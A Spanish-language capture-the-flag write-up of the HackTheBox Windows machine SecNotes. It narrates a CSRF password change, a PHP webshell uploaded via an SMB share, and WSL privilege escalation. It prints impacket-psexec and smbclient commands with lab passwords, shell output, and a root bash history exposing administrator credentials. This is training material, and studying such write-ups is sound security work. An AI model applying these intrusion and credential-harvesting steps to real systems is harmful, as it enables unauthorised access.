Publicado: 16 de Junio de 2025
Autor: Josรฉ Miguel Romero aKa x3m1SecDificultad: โญ Easy
๐ Descripciรณn
SecNotes es una mรกquina Windows de dificultad Easy de HackTheBox que presenta una aplicaciรณn web de notas seguras vulnerable a ataques CSRF. La explotaciรณn involucra el secuestro de cuentas de usuario, acceso a recursos compartidos SMB, ejecuciรณn de cรณdigo remoto a travรฉs de IIS, y escalada de privilegios mediante el subsistema Windows Subsystem for Linux (WSL). Esta mรกquina es excelente para practicar tรฉcnicas de web hacking, enumeraciรณn de servicios Windows y escalada de privilegios en entornos hรญbridos Windows/Linux.
Puntos clave de aprendizaje:
๐ฏ Explotaciรณn de vulnerabilidades CSRF en aplicaciones web
๐ Enumeraciรณn y explotaciรณn de servicios SMB
๐ Subida de webshells y ejecuciรณn remota de comandos en IIS
๐ง Escalada de privilegios atravรฉs de WSL (Windows Subsystem for Linux)
๐ Anรกlisis de historial de comandos para obtenciรณn de credenciales
๐ญ Reconocimiento
๐ Ping para verificaciรณn en base a TTL
๐ก Nota: El TTL cercano a 128 sugiere que probablemente sea una mรกquina Windows.
๐ Escaneo de puertos
๐ ๏ธ Enumeraciรณn de servicios
๐ฏ Enumeraciรณn de Servicios
๐ HTTP (Puerto 80) - Aplicaciรณn de Notas Seguras
Encontramos un panel de login de lo que parece ser una aplicaciรณn de notas seguras. Ademรกs hay una opciรณn de registro.
Al registrarnos tenemos acceso a una serie de opciones
๐ค Enumeraciรณn de usuarios
Hay un banner en el que podemos enumerar un usuario llamado tyler. Tambiรฉn aparece en la secciรณn de contacto.
๐จ Fuzzing de directorios
El fuzzing de directorios no revela ningรบn otro recurso que aรฑadir a nuestro scope como posible vรญa potencial de ataque.
๐จ Explotaciรณn Web - Ataque CSRF
๐ฏ Identificaciรณn de la vulnerabilidad
Despuรฉs de probar algunas cosas encuentro que puedo realizar un CSRF en la funciรณn Contact Us. Esta funcionalidad permite enviar mensajes a otros usuarios de la aplicaciรณn.
๐ฃ Ejecuciรณn del CSRF
Trato de aprovecharme de esto cambiando la clave de tyler. Cambiarรฉ la peticiรณn POST de la funciรณn Change Password a una GET, para que pueda cambiar la clave de Tyler por otra cuando visite mi enlace malicioso.
Ahora puedo autenticarme como tyler:
Al revisar sus notas encuentro lo que parece ser un recurso compartido y una contraseรฑa:
Credenciales encontradas:
๐๏ธ Explotaciรณn SMB
๐ Validaciรณn de credenciales
Decido probar estas credenciales con el servicio SMB usando la herramienta netexec y confirmo que son vรกlidas:
๐ Enumeraciรณn de recursos compartidos
๐ Exploraciรณn del recurso new-site
Enumeramos el recurso new-site, que lo รบnico que parece contener en la web en construcciรณn del sitio IIS que hay en el puerto 8808
Sin embargo, lo mรกs interesante aquรญ, es que tyler tiene tiene permisos de lectura y escritura sobre este recurso.
๐ Acceso Inicial al Sistema
โ Intento fallido con psexec
Primero intentamos sin รฉxito ganar acceso usando impacket-psexec:
๐ท๏ธ Webshell a travรฉs de IIS
Asรญ que optamos por la opciรณn de intentar subir un archivo malicioso al directorio new-site que puede ser interpretado por el servidor IIS.
Me creo una webshell en php bรกsica:
A continuaciรณn la subo al servidor SMB:
Y confirmamos la ejecuciรณn remota de comandos
Podrรญamos aprovechar esto para subir tambiรฉn la herramienta nc.exe al recureso smb /new-site y usarlo para establecer conexiรณn con nuestro host de ataque
Ganamos acceso al sistema y obtenemos la primera flag:
๐ Escalada de Privilegios
Tras un rato enumerando la mรกquina buscando algรบna potencial vรญa de escalada de privilegios, decido subir Winpeas.exe para ver quรฉ encuentra y veo algo interesante:
๐ง Descubrimiento de WSL
๐ Anรกlisis del enlace bash.lnk
Si revisamos el contenido de bash.lnk podremos ver que se estรก referenciando la ruta del binario de bash que ha encontrado Winpeas
๐ช Acceso al subsistema Linux
Al ejecutar el binario de bash comprobamos que accedemos a este subsistema Linux como root:
๐ Bรบsqueda de credenciales en historial
Tras explorar el subsistema Linux y mejorar la TTY con Python, encuentro credenciales en el archivo .bash_history de root:
๐ Credenciales de Administrator
Credenciales encontradas:
Ahora simplemente usamos netexec para validar esta credencial contra el servicio SMB:
Ganamos acceso al sistema usando impacket-psexec y ya podemos obtener la flag root.txt:
smbclient \\\\10.10.10.97\\new-site -U "tyler"
Password for [WORKGROUP\tyler]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jun 16 18:44:11 2025
.. D 0 Mon Jun 16 18:44:11 2025
iisstart.htm A 696 Thu Jun 21 17:26:03 2018
iisstart.png A 98757 Thu Jun 21 17:26:03 2018
impacket-psexec tyler:'92g!mA8BGjOirkL%OG*&'@10.10.10.97
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.97.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share new-site
[*] Uploading file pAtUkzUP.exe
[*] Opening SVCManager on 10.10.10.97.....
[-] Error opening SVCManager on 10.10.10.97.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76
Directory of C:\Users\tyler\Desktop
08/19/2018 03:51 PM <DIR> .
08/19/2018 03:51 PM <DIR> ..
06/22/2018 03:09 AM 1,293 bash.lnk
08/02/2021 03:32 AM 1,210 Command Prompt.lnk
04/11/2018 04:34 PM 407 File Explorer.lnk
06/21/2018 05:50 PM 1,417 Microsoft Edge.lnk
06/21/2018 09:17 AM 1,110 Notepad++.lnk
06/16/2025 09:07 AM 34 user.txt
08/19/2018 10:59 AM 2,494 Windows PowerShell.lnk
7 File(s) 7,965 bytes
2 Dir(s) 13,859,487,744 bytes free
C:\Users\tyler\Desktop>type user.txt
type user.txt
C:\Users\tyler\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1E7B-9B76
Directory of C:\Users\tyler\Desktop
08/19/2018 03:51 PM <DIR> .
08/19/2018 03:51 PM <DIR> ..
06/22/2018 03:09 AM 1,293 bash.lnk
08/02/2021 03:32 AM 1,210 Command Prompt.lnk
04/11/2018 04:34 PM 407 File Explorer.lnk
06/21/2018 05:50 PM 1,417 Microsoft Edge.lnk
06/21/2018 09:17 AM 1,110 Notepad++.lnk
06/16/2025 09:07 AM 34 user.txt
08/19/2018 10:59 AM 2,494 Windows PowerShell.lnk
7 File(s) 7,965 bytes
2 Dir(s) 13,830,152,192 bytes free
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@SECNOTES:~# ls -la
ls -la
total 8
drwx------ 1 root root 512 Jun 22 2018 .
drwxr-xr-x 1 root root 512 Jun 21 2018 ..
---------- 1 root root 398 Jun 22 2018 .bash_history
-rw-r--r-- 1 root root 3112 Jun 22 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxrwxrwx 1 root root 512 Jun 22 2018 filesystem
root@SECNOTES:~# cat .bash_history
root@SECNOTES:~# cat .bash_history
cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history
less .bash_history